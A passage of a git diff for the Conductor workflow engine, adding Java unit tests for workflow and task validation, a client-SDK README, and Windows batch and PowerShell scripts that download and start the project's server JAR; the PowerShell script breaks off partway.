workflowTask_1 = new WorkflowTask(); + workflowTask_1.setName("task_1"); + workflowTask_1.setTaskReferenceName("task_1"); + workflowTask_1.setType(TaskType.TASK_TYPE_SIMPLE); + + Map inputParam = new HashMap<>(); + inputParam.put("taskId", "${CPEWF_TASK_ID} ${workflow.input.status sta}"); + workflowTask_1.setInputParameters(inputParam); + + List tasks = new ArrayList<>(); + tasks.add(workflowTask_1); + + workflowDef.setTasks(tasks); + + List results = + ConstraintParamUtil.validateInputParam(inputParam, "task_1", workflowDef); + assertEquals(results.size(), 1); + } + + @Test + public void testExtractParamPathComponentsWithPredefineEnums() { + WorkflowDef workflowDef = constructWorkflowDef(); + + WorkflowTask workflowTask_1 = new WorkflowTask(); + workflowTask_1.setName("task_1"); + workflowTask_1.setTaskReferenceName("task_1"); + workflowTask_1.setType(TaskType.TASK_TYPE_SIMPLE); + + Map inputParam = new HashMap<>(); + inputParam.put("NETFLIX_ENV", "${CPEWF_TASK_ID}"); + inputParam.put( + "entryPoint", "/tools/pdfwatermarker_mux.py ${NETFLIX_ENV} ${CPEWF_TASK_ID} alpha"); + workflowTask_1.setInputParameters(inputParam); + + List tasks = new ArrayList<>(); + tasks.add(workflowTask_1); + + workflowDef.setTasks(tasks); + + List results = + ConstraintParamUtil.validateInputParam(inputParam, "task_1", workflowDef); + assertEquals(results.size(), 0); + } + + @Test + public void testExtractParamPathComponentsWithEscapedChar() { + WorkflowDef workflowDef = constructWorkflowDef(); + + WorkflowTask workflowTask_1 = new WorkflowTask(); + workflowTask_1.setName("task_1"); + workflowTask_1.setTaskReferenceName("task_1"); + workflowTask_1.setType(TaskType.TASK_TYPE_SIMPLE); + + Map inputParam = new HashMap<>(); + inputParam.put("taskId", "$${expression with spaces}"); + workflowTask_1.setInputParameters(inputParam); + + List tasks = new ArrayList<>(); + tasks.add(workflowTask_1); + + workflowDef.setTasks(tasks); + + List results = + ConstraintParamUtil.validateInputParam(inputParam, "task_1", workflowDef); + assertEquals(results.size(), 0); + } +} diff --git a/common/src/test/java/com/netflix/conductor/common/utils/SummaryUtilTest.java b/common/src/test/java/com/netflix/conductor/common/utils/SummaryUtilTest.java new file mode 100644 index 0000000..435434f --- /dev/null +++ b/common/src/test/java/com/netflix/conductor/common/utils/SummaryUtilTest.java @@ -0,0 +1,104 @@ +/* + * Copyright 2021 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.common.utils; + +import java.util.ArrayList; +import java.util.Arrays; +import java.util.HashMap; +import java.util.Map; + +import org.junit.Before; +import org.junit.Test; +import org.junit.runner.RunWith; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.boot.test.context.runner.ApplicationContextRunner; +import org.springframework.context.annotation.Bean; +import org.springframework.context.annotation.Configuration; +import org.springframework.test.context.ContextConfiguration; +import org.springframework.test.context.junit4.SpringRunner; + +import com.netflix.conductor.common.config.TestObjectMapperConfiguration; + +import com.fasterxml.jackson.databind.ObjectMapper; + +import static org.junit.jupiter.api.Assertions.assertEquals; + +@ContextConfiguration( + classes = { + TestObjectMapperConfiguration.class, + SummaryUtilTest.SummaryUtilTestConfiguration.class + }) +@RunWith(SpringRunner.class) +public class SummaryUtilTest { + + @Configuration + static class SummaryUtilTestConfiguration { + + @Bean + public SummaryUtil summaryUtil() { + return new SummaryUtil(); + } + } + + @Autowired private ObjectMapper objectMapper; + + private Map testObject; + + @Before + public void init() { + Map child = new HashMap<>(); + child.put("testStr", "childTestStr"); + + Map obj = new HashMap<>(); + obj.put("testStr", "stringValue"); + obj.put("testArray", new ArrayList<>(Arrays.asList(1, 2, 3))); + obj.put("testObj", child); + obj.put("testNull", null); + + testObject = obj; + } + + @Test + public void testSerializeInputOutput_defaultToString() throws Exception { + new ApplicationContextRunner() + .withPropertyValues( + "conductor.app.summary-input-output-json-serialization.enabled:false") + .withUserConfiguration(SummaryUtilTestConfiguration.class) + .run( + context -> { + String serialized = SummaryUtil.serializeInputOutput(this.testObject); + + assertEquals( + this.testObject.toString(), + serialized, + "The Java.toString() Serialization should match the serialized Test Object"); + }); + } + + @Test + public void testSerializeInputOutput_jsonSerializationEnabled() throws Exception { + new ApplicationContextRunner() + .withPropertyValues( + "conductor.app.summary-input-output-json-serialization.enabled:true") + .withUserConfiguration(SummaryUtilTestConfiguration.class) + .run( + context -> { + String serialized = SummaryUtil.serializeInputOutput(testObject); + + assertEquals( + objectMapper.writeValueAsString(testObject), + serialized, + "The ObjectMapper Json Serialization should match the serialized Test Object"); + }); + } +} diff --git a/common/src/test/java/com/netflix/conductor/common/workflow/SubWorkflowParamsTest.java b/common/src/test/java/com/netflix/conductor/common/workflow/SubWorkflowParamsTest.java new file mode 100644 index 0000000..5d9222d --- /dev/null +++ b/common/src/test/java/com/netflix/conductor/common/workflow/SubWorkflowParamsTest.java @@ -0,0 +1,133 @@ +/* + * Copyright 2021 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.common.workflow; + +import java.util.Arrays; +import java.util.HashMap; +import java.util.Map; + +import org.junit.Test; +import org.junit.runner.RunWith; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.test.context.ContextConfiguration; +import org.springframework.test.context.junit4.SpringRunner; + +import com.netflix.conductor.common.config.TestObjectMapperConfiguration; +import com.netflix.conductor.common.metadata.tasks.TaskDef; +import com.netflix.conductor.common.metadata.tasks.TaskType; +import com.netflix.conductor.common.metadata.workflow.SubWorkflowParams; +import com.netflix.conductor.common.metadata.workflow.WorkflowDef; +import com.netflix.conductor.common.metadata.workflow.WorkflowTask; + +import com.fasterxml.jackson.databind.MapperFeature; +import com.fasterxml.jackson.databind.ObjectMapper; +import com.fasterxml.jackson.databind.SerializationFeature; + +import static org.junit.Assert.assertEquals; + +@ContextConfiguration(classes = {TestObjectMapperConfiguration.class}) +@RunWith(SpringRunner.class) +public class SubWorkflowParamsTest { + + @Autowired private ObjectMapper objectMapper; + + @Test + public void testWorkflowSetTaskToDomain() { + SubWorkflowParams subWorkflowParams = new SubWorkflowParams(); + Map taskToDomain = new HashMap<>(); + taskToDomain.put("unit", "test"); + subWorkflowParams.setTaskToDomain(taskToDomain); + assertEquals(taskToDomain, subWorkflowParams.getTaskToDomain()); + } + + @Test(expected = IllegalArgumentException.class) + public void testSetWorkflowDefinition() { + SubWorkflowParams subWorkflowParams = new SubWorkflowParams(); + subWorkflowParams.setName("dummy-name"); + subWorkflowParams.setWorkflowDefinition(new Object()); + } + + @Test + public void testGetWorkflowDef() { + SubWorkflowParams subWorkflowParams = new SubWorkflowParams(); + subWorkflowParams.setName("dummy-name"); + WorkflowDef def = new WorkflowDef(); + def.setName("test_workflow"); + def.setVersion(1); + WorkflowTask task = new WorkflowTask(); + task.setName("test_task"); + task.setTaskReferenceName("t1"); + def.getTasks().add(task); + subWorkflowParams.setWorkflowDefinition(def); + assertEquals(def, subWorkflowParams.getWorkflowDefinition()); + } + + @Test + public void testWorkflowDefJson() throws Exception { + SubWorkflowParams subWorkflowParams = new SubWorkflowParams(); + subWorkflowParams.setName("dummy-name"); + WorkflowDef def = new WorkflowDef(); + def.setName("test_workflow"); + def.setVersion(1); + WorkflowTask task = new WorkflowTask(); + task.setName("test_task"); + task.setTaskReferenceName("t1"); + def.getTasks().add(task); + subWorkflowParams.setWorkflowDefinition(def); + + objectMapper.enable(SerializationFeature.INDENT_OUTPUT); + objectMapper.enable(MapperFeature.SORT_PROPERTIES_ALPHABETICALLY); + objectMapper.enable(SerializationFeature.ORDER_MAP_ENTRIES_BY_KEYS); + + String serializedParams = + objectMapper.writerWithDefaultPrettyPrinter().writeValueAsString(subWorkflowParams); + SubWorkflowParams deserializedParams = + objectMapper.readValue(serializedParams, SubWorkflowParams.class); + var x = (WorkflowDef) deserializedParams.getWorkflowDefinition(); + assertEquals(def, x); + + var taskName = "taskName"; + var subWorkflowName = "subwf"; + TaskDef taskDef = new TaskDef(taskName); + taskDef.setRetryCount(0); + taskDef.setOwnerEmail("test@orkes.io"); + + WorkflowTask inline = new WorkflowTask(); + inline.setTaskReferenceName(taskName); + inline.setName(taskName); + inline.setTaskDefinition(taskDef); + inline.setWorkflowTaskType(TaskType.SIMPLE); + inline.setInputParameters(Map.of("evaluatorType", "graaljs", "expression", "true;")); + + WorkflowDef subworkflowDef = new WorkflowDef(); + subworkflowDef.setName(subWorkflowName); + subworkflowDef.setOwnerEmail("test@orkes.io"); + subworkflowDef.setInputParameters(Arrays.asList("value", "inlineValue")); + subworkflowDef.setDescription("Sub Workflow to test retry"); + subworkflowDef.setTimeoutSeconds(600); + subworkflowDef.setTimeoutPolicy(WorkflowDef.TimeoutPolicy.TIME_OUT_WF); + subworkflowDef.setTasks(Arrays.asList(inline)); + + // autowired + var serializedSubWorkflowDef1 = objectMapper.writeValueAsString(subworkflowDef); + var deserializedSubWorkflowDef1 = + objectMapper.readValue(serializedSubWorkflowDef1, WorkflowDef.class); + assertEquals(deserializedSubWorkflowDef1, subworkflowDef); + // default + ObjectMapper mapper = new ObjectMapper(); + var serializedSubWorkflowDef2 = mapper.writeValueAsString(subworkflowDef); + var deserializedSubWorkflowDef2 = + mapper.readValue(serializedSubWorkflowDef2, WorkflowDef.class); + assertEquals(deserializedSubWorkflowDef2, subworkflowDef); + } +} diff --git a/common/src/test/java/com/netflix/conductor/common/workflow/WorkflowDefValidatorTest.java b/common/src/test/java/com/netflix/conductor/common/workflow/WorkflowDefValidatorTest.java new file mode 100644 index 0000000..77f39a8 --- /dev/null +++ b/common/src/test/java/com/netflix/conductor/common/workflow/WorkflowDefValidatorTest.java @@ -0,0 +1,388 @@ +/* + * Copyright 2020 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.common.workflow; + +import java.util.ArrayList; +import java.util.HashMap; +import java.util.List; +import java.util.Map; +import java.util.Set; + +import org.junit.Before; +import org.junit.Test; +import org.springframework.test.context.TestPropertySource; + +import com.netflix.conductor.common.metadata.tasks.TaskType; +import com.netflix.conductor.common.metadata.workflow.WorkflowDef; +import com.netflix.conductor.common.metadata.workflow.WorkflowTask; + +import jakarta.validation.ConstraintViolation; +import jakarta.validation.Validation; +import jakarta.validation.Validator; +import jakarta.validation.ValidatorFactory; + +import static org.junit.Assert.assertEquals; +import static org.junit.Assert.assertTrue; + +@TestPropertySource(properties = "conductor.app.workflow.name-validation.enabled=true") +public class WorkflowDefValidatorTest { + + @Before + public void before() { + System.setProperty("NETFLIX_STACK", "test"); + System.setProperty("NETFLIX_ENVIRONMENT", "test"); + System.setProperty("TEST_ENV", "test"); + } + + @Test + public void testWorkflowDefConstraints() { + WorkflowDef workflowDef = new WorkflowDef(); // name is null + workflowDef.setSchemaVersion(2); + + ValidatorFactory factory = Validation.buildDefaultValidatorFactory(); + Validator validator = factory.getValidator(); + Set> result = validator.validate(workflowDef); + assertEquals(3, result.size()); + + List validationErrors = new ArrayList<>(); + result.forEach(e -> validationErrors.add(e.getMessage())); + + assertTrue(validationErrors.contains("WorkflowDef name cannot be null or empty")); + assertTrue(validationErrors.contains("WorkflowTask list cannot be empty")); + assertTrue(validationErrors.contains("ownerEmail cannot be empty")); + // assertTrue(validationErrors.contains("workflowDef schemaVersion: 1 should be >= 2")); + } + + @Test + public void testWorkflowDefConstraintsWithMultipleEnvVariable() { + WorkflowDef workflowDef = new WorkflowDef(); + workflowDef.setSchemaVersion(2); + workflowDef.setName("test_env"); + workflowDef.setOwnerEmail("owner@test.com"); + + WorkflowTask workflowTask_1 = new WorkflowTask(); + workflowTask_1.setName("task_1"); + workflowTask_1.setTaskReferenceName("task_1"); + workflowTask_1.setType(TaskType.TASK_TYPE_SIMPLE); + + Map inputParam = new HashMap<>(); + inputParam.put("taskId", "${CPEWF_TASK_ID}"); + inputParam.put( + "entryPoint", + "${NETFLIX_ENVIRONMENT} ${NETFLIX_STACK} ${CPEWF_TASK_ID} ${workflow.input.status}"); + + workflowTask_1.setInputParameters(inputParam); + + WorkflowTask workflowTask_2 = new WorkflowTask(); + workflowTask_2.setName("task_2"); + workflowTask_2.setTaskReferenceName("task_2"); + workflowTask_2.setType(TaskType.TASK_TYPE_SIMPLE); + + Map inputParam2 = new HashMap<>(); + inputParam2.put("env", inputParam); + + workflowTask_2.setInputParameters(inputParam2); + + List tasks = new ArrayList<>(); + tasks.add(workflowTask_1); + tasks.add(workflowTask_2); + + workflowDef.setTasks(tasks); + + ValidatorFactory factory = Validation.buildDefaultValidatorFactory(); + Validator validator = factory.getValidator(); + Set> result = validator.validate(workflowDef); + assertEquals(0, result.size()); + } + + @Test + public void testWorkflowDefConstraintsSingleEnvVariable() { + WorkflowDef workflowDef = new WorkflowDef(); // name is null + workflowDef.setSchemaVersion(2); + workflowDef.setName("test_env"); + workflowDef.setOwnerEmail("owner@test.com"); + + WorkflowTask workflowTask_1 = new WorkflowTask(); + workflowTask_1.setName("task_1"); + workflowTask_1.setTaskReferenceName("task_1"); + workflowTask_1.setType(TaskType.TASK_TYPE_SIMPLE); + + Map inputParam = new HashMap<>(); + inputParam.put("taskId", "${CPEWF_TASK_ID}"); + + workflowTask_1.setInputParameters(inputParam); + + List tasks = new ArrayList<>(); + tasks.add(workflowTask_1); + + workflowDef.setTasks(tasks); + + ValidatorFactory factory = Validation.buildDefaultValidatorFactory(); + Validator validator = factory.getValidator(); + Set> result = validator.validate(workflowDef); + assertEquals(0, result.size()); + } + + @Test + public void testWorkflowDefConstraintsDualEnvVariable() { + WorkflowDef workflowDef = new WorkflowDef(); // name is null + workflowDef.setSchemaVersion(2); + workflowDef.setName("test_env"); + workflowDef.setOwnerEmail("owner@test.com"); + + WorkflowTask workflowTask_1 = new WorkflowTask(); + workflowTask_1.setName("task_1"); + workflowTask_1.setTaskReferenceName("task_1"); + workflowTask_1.setType(TaskType.TASK_TYPE_SIMPLE); + + Map inputParam = new HashMap<>(); + inputParam.put("taskId", "${CPEWF_TASK_ID} ${NETFLIX_STACK}"); + + workflowTask_1.setInputParameters(inputParam); + + List tasks = new ArrayList<>(); + tasks.add(workflowTask_1); + + workflowDef.setTasks(tasks); + + ValidatorFactory factory = Validation.buildDefaultValidatorFactory(); + Validator validator = factory.getValidator(); + Set> result = validator.validate(workflowDef); + assertEquals(0, result.size()); + } + + @Test + public void testWorkflowDefConstraintsWithMapAsInputParam() { + WorkflowDef workflowDef = new WorkflowDef(); // name is null + workflowDef.setSchemaVersion(2); + workflowDef.setName("test_env"); + workflowDef.setOwnerEmail("owner@test.com"); + + WorkflowTask workflowTask_1 = new WorkflowTask(); + workflowTask_1.setName("task_1"); + workflowTask_1.setTaskReferenceName("task_1"); + workflowTask_1.setType(TaskType.TASK_TYPE_SIMPLE); + + Map inputParam = new HashMap<>(); + inputParam.put("taskId", "${CPEWF_TASK_ID} ${NETFLIX_STACK}"); + Map envInputParam = new HashMap<>(); + envInputParam.put("packageId", "${workflow.input.packageId}"); + envInputParam.put("taskId", "${CPEWF_TASK_ID}"); + envInputParam.put("NETFLIX_STACK", "${NETFLIX_STACK}"); + envInputParam.put("NETFLIX_ENVIRONMENT", "${NETFLIX_ENVIRONMENT}"); + + inputParam.put("env", envInputParam); + + workflowTask_1.setInputParameters(inputParam); + + List tasks = new ArrayList<>(); + tasks.add(workflowTask_1); + + workflowDef.setTasks(tasks); + + ValidatorFactory factory = Validation.buildDefaultValidatorFactory(); + Validator validator = factory.getValidator(); + Set> result = validator.validate(workflowDef); + assertEquals(0, result.size()); + } + + @Test + public void testWorkflowTaskInputParamInvalid() { + WorkflowDef workflowDef = new WorkflowDef(); // name is null + workflowDef.setSchemaVersion(2); + workflowDef.setName("test_env"); + workflowDef.setOwnerEmail("owner@test.com"); + + WorkflowTask workflowTask = new WorkflowTask(); // name is null + workflowTask.setName("t1"); + workflowTask.setWorkflowTaskType(TaskType.SIMPLE); + workflowTask.setTaskReferenceName("t1"); + + Map map = new HashMap<>(); + map.put("blabla", "${workflow.input.Space Value}"); + workflowTask.setInputParameters(map); + + workflowDef.getTasks().add(workflowTask); + + ValidatorFactory factory = Validation.buildDefaultValidatorFactory(); + Validator validator = factory.getValidator(); + Set> result = validator.validate(workflowDef); + assertEquals(1, result.size()); + + List validationErrors = new ArrayList<>(); + result.forEach(e -> validationErrors.add(e.getMessage())); + + assertTrue( + validationErrors.contains( + "key: blabla input parameter value: workflow.input.Space Value is not valid")); + } + + @Test + public void testWorkflowTaskEmptyStringInputParamValue() { + WorkflowDef workflowDef = new WorkflowDef(); // name is null + workflowDef.setSchemaVersion(2); + workflowDef.setName("test_env"); + workflowDef.setOwnerEmail("owner@test.com"); + + WorkflowTask workflowTask = new WorkflowTask(); // name is null + + workflowTask.setName("t1"); + workflowTask.setWorkflowTaskType(TaskType.SIMPLE); + workflowTask.setTaskReferenceName("t1"); + + Map map = new HashMap<>(); + map.put("blabla", ""); + workflowTask.setInputParameters(map); + + workflowDef.getTasks().add(workflowTask); + + ValidatorFactory factory = Validation.buildDefaultValidatorFactory(); + Validator validator = factory.getValidator(); + Set> result = validator.validate(workflowDef); + assertEquals(0, result.size()); + } + + @Test + public void testWorkflowTasklistInputParamWithEmptyString() { + WorkflowDef workflowDef = new WorkflowDef(); // name is null + workflowDef.setSchemaVersion(2); + workflowDef.setName("test_env"); + workflowDef.setOwnerEmail("owner@test.com"); + + WorkflowTask workflowTask = new WorkflowTask(); // name is null + + workflowTask.setName("t1"); + workflowTask.setWorkflowTaskType(TaskType.SIMPLE); + workflowTask.setTaskReferenceName("t1"); + + Map map = new HashMap<>(); + map.put("blabla", ""); + map.put("foo", new String[] {""}); + workflowTask.setInputParameters(map); + + workflowDef.getTasks().add(workflowTask); + + ValidatorFactory factory = Validation.buildDefaultValidatorFactory(); + Validator validator = factory.getValidator(); + Set> result = validator.validate(workflowDef); + assertEquals(0, result.size()); + } + + @Test + public void testWorkflowSchemaVersion1() { + WorkflowDef workflowDef = new WorkflowDef(); // name is null + workflowDef.setSchemaVersion(3); + workflowDef.setName("test_env"); + workflowDef.setOwnerEmail("owner@test.com"); + + WorkflowTask workflowTask = new WorkflowTask(); + + workflowTask.setName("t1"); + workflowTask.setWorkflowTaskType(TaskType.SIMPLE); + workflowTask.setTaskReferenceName("t1"); + + Map map = new HashMap<>(); + map.put("blabla", ""); + workflowTask.setInputParameters(map); + + workflowDef.getTasks().add(workflowTask); + + ValidatorFactory factory = Validation.buildDefaultValidatorFactory(); + Validator validator = factory.getValidator(); + Set> result = validator.validate(workflowDef); + assertEquals(1, result.size()); + + List validationErrors = new ArrayList<>(); + result.forEach(e -> validationErrors.add(e.getMessage())); + + assertTrue(validationErrors.contains("workflowDef schemaVersion: 2 is only supported")); + } + + @Test + public void testWorkflowOwnerInvalidEmail() { + WorkflowDef workflowDef = new WorkflowDef(); + workflowDef.setName("test_env"); + workflowDef.setOwnerEmail("owner"); + + WorkflowTask workflowTask = new WorkflowTask(); + + workflowTask.setName("t1"); + workflowTask.setWorkflowTaskType(TaskType.SIMPLE); + workflowTask.setTaskReferenceName("t1"); + + Map map = new HashMap<>(); + map.put("blabla", ""); + workflowTask.setInputParameters(map); + + workflowDef.getTasks().add(workflowTask); + + ValidatorFactory factory = Validation.buildDefaultValidatorFactory(); + Validator validator = factory.getValidator(); + Set> result = validator.validate(workflowDef); + assertEquals(0, result.size()); + } + + @Test + public void testWorkflowOwnerValidEmail() { + WorkflowDef workflowDef = new WorkflowDef(); + workflowDef.setName("test_env"); + workflowDef.setOwnerEmail("owner@test.com"); + + WorkflowTask workflowTask = new WorkflowTask(); + + workflowTask.setName("t1"); + workflowTask.setWorkflowTaskType(TaskType.SIMPLE); + workflowTask.setTaskReferenceName("t1"); + + Map map = new HashMap<>(); + map.put("blabla", ""); + workflowTask.setInputParameters(map); + + workflowDef.getTasks().add(workflowTask); + + ValidatorFactory factory = Validation.buildDefaultValidatorFactory(); + Validator validator = factory.getValidator(); + Set> result = validator.validate(workflowDef); + assertEquals(0, result.size()); + } + + @Test + public void testWorkflowWithFailureDefinition() { + // Given a workflow with a failure compensation definition + var workflowDef = new WorkflowDef(); + workflowDef.setName("workflow_with_failure_definition"); + workflowDef.setOwnerEmail("owner@orkes.io"); + workflowDef.setFailureWorkflow("failure_workflow"); + workflowDef.setFailureWorkflowVersion(1); + + var workflowTask = new WorkflowTask(); + workflowTask.setName("simple_task"); + workflowTask.setWorkflowTaskType(TaskType.SIMPLE); + workflowTask.setTaskReferenceName("simple_task"); + workflowTask.setInputParameters(Map.of("param", "value")); + + workflowDef.getTasks().add(workflowTask); + + // When validate constraints + var factory = Validation.buildDefaultValidatorFactory(); + var validator = factory.getValidator(); + var result = validator.validate(workflowDef); + + // Then there should be no violations + assertEquals(0, result.size()); + + // And should assert failures definitions + assertEquals("failure_workflow", workflowDef.getFailureWorkflow()); + assertEquals(Integer.valueOf(1), workflowDef.getFailureWorkflowVersion()); + } +} diff --git a/common/src/test/java/com/netflix/conductor/common/workflow/WorkflowTaskTest.java b/common/src/test/java/com/netflix/conductor/common/workflow/WorkflowTaskTest.java new file mode 100644 index 0000000..12a8aa3 --- /dev/null +++ b/common/src/test/java/com/netflix/conductor/common/workflow/WorkflowTaskTest.java @@ -0,0 +1,79 @@ +/* + * Copyright 2020 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.common.workflow; + +import java.util.ArrayList; +import java.util.List; +import java.util.Set; + +import org.junit.Test; + +import com.netflix.conductor.common.metadata.tasks.TaskType; +import com.netflix.conductor.common.metadata.workflow.WorkflowTask; + +import jakarta.validation.ConstraintViolation; +import jakarta.validation.Validation; +import jakarta.validation.Validator; +import jakarta.validation.ValidatorFactory; + +import static org.junit.Assert.assertEquals; +import static org.junit.Assert.assertFalse; +import static org.junit.Assert.assertNotNull; +import static org.junit.Assert.assertTrue; + +public class WorkflowTaskTest { + + @Test + public void test() { + WorkflowTask workflowTask = new WorkflowTask(); + workflowTask.setWorkflowTaskType(TaskType.DECISION); + + assertNotNull(workflowTask.getType()); + assertEquals(TaskType.DECISION.name(), workflowTask.getType()); + + workflowTask = new WorkflowTask(); + workflowTask.setWorkflowTaskType(TaskType.SWITCH); + + assertNotNull(workflowTask.getType()); + assertEquals(TaskType.SWITCH.name(), workflowTask.getType()); + } + + @Test + public void testOptional() { + WorkflowTask task = new WorkflowTask(); + assertFalse(task.isOptional()); + + task.setOptional(Boolean.FALSE); + assertFalse(task.isOptional()); + + task.setOptional(Boolean.TRUE); + assertTrue(task.isOptional()); + } + + @Test + public void testWorkflowTaskName() { + WorkflowTask taskDef = new WorkflowTask(); // name is null + ValidatorFactory factory = Validation.buildDefaultValidatorFactory(); + Validator validator = factory.getValidator(); + Set> result = validator.validate(taskDef); + assertEquals(2, result.size()); + + List validationErrors = new ArrayList<>(); + result.forEach(e -> validationErrors.add(e.getMessage())); + + assertTrue(validationErrors.contains("WorkflowTask name cannot be empty or null")); + assertTrue( + validationErrors.contains( + "WorkflowTask taskReferenceName name cannot be empty or null")); + } +} diff --git a/common/src/test/resources/application.properties b/common/src/test/resources/application.properties new file mode 100644 index 0000000..7c95d0a --- /dev/null +++ b/common/src/test/resources/application.properties @@ -0,0 +1 @@ +conductor.app.workflow.name-validation.enabled=true diff --git a/conductor-clients/README.md b/conductor-clients/README.md new file mode 100644 index 0000000..abc6355 --- /dev/null +++ b/conductor-clients/README.md @@ -0,0 +1,14 @@ +# Conductor Clients and SDKs + +Conductor supports polyglot programming model. +A workflow can have tasks written in different languages allowing developers to choose the best language for the task. + +Currently, Conductor has support for the following languages: + +| Language | Client SDK | +|------------|------------| +| Java | https://github.com/conductor-oss/java-sdk | +| Python | https://github.com/conductor-oss/python-sdk | +| Golang | https://github.com/conductor-oss/go-sdk | +| Typescript | https://github.com/conductor-oss/typescript-sdk | +| .NET | https://github.com/conductor-oss/csharp-sdk | diff --git a/conductor_server.bat b/conductor_server.bat new file mode 100644 index 0000000..4d3105c --- /dev/null +++ b/conductor_server.bat @@ -0,0 +1,86 @@ +@echo off +REM Conductor Server Startup Script for Windows Command Prompt +REM Downloads the server JAR if missing and starts it with java +REM +REM Usage: +REM Interactive: conductor_server.bat +REM With args: conductor_server.bat [PORT] [VERSION] +REM conductor_server.bat 9090 3.22.0 + +REM Check for Java and version 21+ +java -version >nul 2>&1 +if errorlevel 1 ( + echo Error: Java is not installed or not in PATH + exit /b 1 +) + +set JAVA_VER= +set JAVA_MAJOR= +for /f "tokens=3" %%i in ('java -version 2^>^&1 ^| findstr /i "version"') do set JAVA_VER=%%i +set JAVA_VER=%JAVA_VER:"=% +for /f "tokens=1 delims=." %%a in ("%JAVA_VER%") do set JAVA_MAJOR=%%a + +if not defined JAVA_MAJOR ( + echo Error: Unable to determine Java version + exit /b 1 +) + +if %JAVA_MAJOR% LSS 21 ( + echo Error: JDK 21 or higher is required. Current version: %JAVA_VER% + exit /b 1 +) + +set REPO_URL=https://conductor-server.s3.us-east-2.amazonaws.com + +REM Defaults +set SERVER_PORT=8080 +set CONDUCTOR_VERSION=latest + +REM Argument parsing +REM %1 could be port or version (if simple detection needed, but batch is hard) +REM Sticking to positional: %1=PORT, %2=VERSION +REM If %1 is provided, assume it is PORT unless it contains dots or chars? +REM For simplicity in batch, let's keep strict: %1=PORT, %2=VERSION +REM To use default port and custom version: conductor_server.bat default 3.22.0 + +if not "%~1"=="" ( + if not "%~1"=="default" set SERVER_PORT=%~1 +) else if not "%CONDUCTOR_PORT%"=="" ( + set SERVER_PORT=%CONDUCTOR_PORT% +) + +if not "%~2"=="" ( + set CONDUCTOR_VERSION=%~2 +) + +REM Interactive prompts if no args +if "%~1"=="" if "%CONDUCTOR_PORT%"=="" ( + set /p INPUT_PORT="Enter the port for Server [8080]: " + if not "%INPUT_PORT%"=="" set SERVER_PORT=%INPUT_PORT% + + set /p INPUT_VERSION="Enter the version [latest]: " + if not "%INPUT_VERSION%"=="" set CONDUCTOR_VERSION=%INPUT_VERSION% +) + +set JAR_NAME=conductor-server-%CONDUCTOR_VERSION%.jar +set JAR_URL=%REPO_URL%/%JAR_NAME% + +REM Use CONDUCTOR_HOME if set, otherwise use current directory +if "%CONDUCTOR_HOME%"=="" set CONDUCTOR_HOME=. + +set JAR_PATH=%CONDUCTOR_HOME%\%JAR_NAME% + +REM Download JAR if not present +if not exist "%JAR_PATH%" ( + echo Downloading Conductor Server %CONDUCTOR_VERSION%... + if not exist "%CONDUCTOR_HOME%" mkdir "%CONDUCTOR_HOME%" + curl -L -o "%JAR_PATH%" "%JAR_URL%" + if errorlevel 1 ( + echo Failed to download Conductor Server JAR + exit /b 1 + ) + echo Downloaded to %JAR_PATH% +) + +echo Starting Conductor Server %CONDUCTOR_VERSION% on port %SERVER_PORT%... +java -jar "%JAR_PATH%" --server.port=%SERVER_PORT% diff --git a/conductor_server.ps1 b/conductor_server.ps1 new file mode 100644 index 0000000..cd245e9 --- /dev/null +++ b/conductor_server.ps1 @@ -0,0 +1,99 @@ +# Conductor Server Startup Script for Windows PowerShell +# Downloads the server JAR if missing and starts it with java +# +# Usage: +# Interactive: .\conductor_server.ps1 +# With args: .\conductor_server.ps1 -Port 9090 -Version 3.22.0 +# One-liner: irm ... | iex + +param( + [string]$Port, + [string]$Version +) + +$REPO_URL = "https://conductor-server.s3.us-east-2.amazonaws.com" + +# Check for Java and version 21+ +try { + $javaVersionOutput = & java -version 2>&1 | Select-Object -First 1 + if ($javaVersionOutput -match '"(\d+)') { + $javaMajor = [int]$Matches[1] + if ($javaMajor -lt 21) { + Write-Host "Error: JDK 21 or higher is required. Current version: $javaVersionOutput" + exit 1 + } + } else { + Write-Host "Error: Unable to determine Java version" + exit 1 + } +} catch { + Write-Host "Error: Java is not installed or not in PATH" + exit 1 +} + +# Determine Port +if (-not [string]::IsNullOrEmpty($Port)) { + $SERVER_PORT = $Port +} elseif (-not [string]::IsNullOrEmpty($env:CONDUCTOR_PORT)) { + $SERVER_PORT = $env:CONDUCTOR_PORT +} elseif ([Environment]::UserInteractive) { + try { + # Check if we are running effectively non-interactively (e.g. piped input) + # However [Environment]::UserInteractive is usually true in PS console. + # We can try reading with timeout or just checking args. + # If parameters were not passed, prompt. + if ($PSBoundParameters.Count -eq 0) { + $inputPort = Read-Host "Enter the port for Server [8080]" + if (-not [string]::IsNullOrEmpty($inputPort)) { $SERVER_PORT = $inputPort } + else { 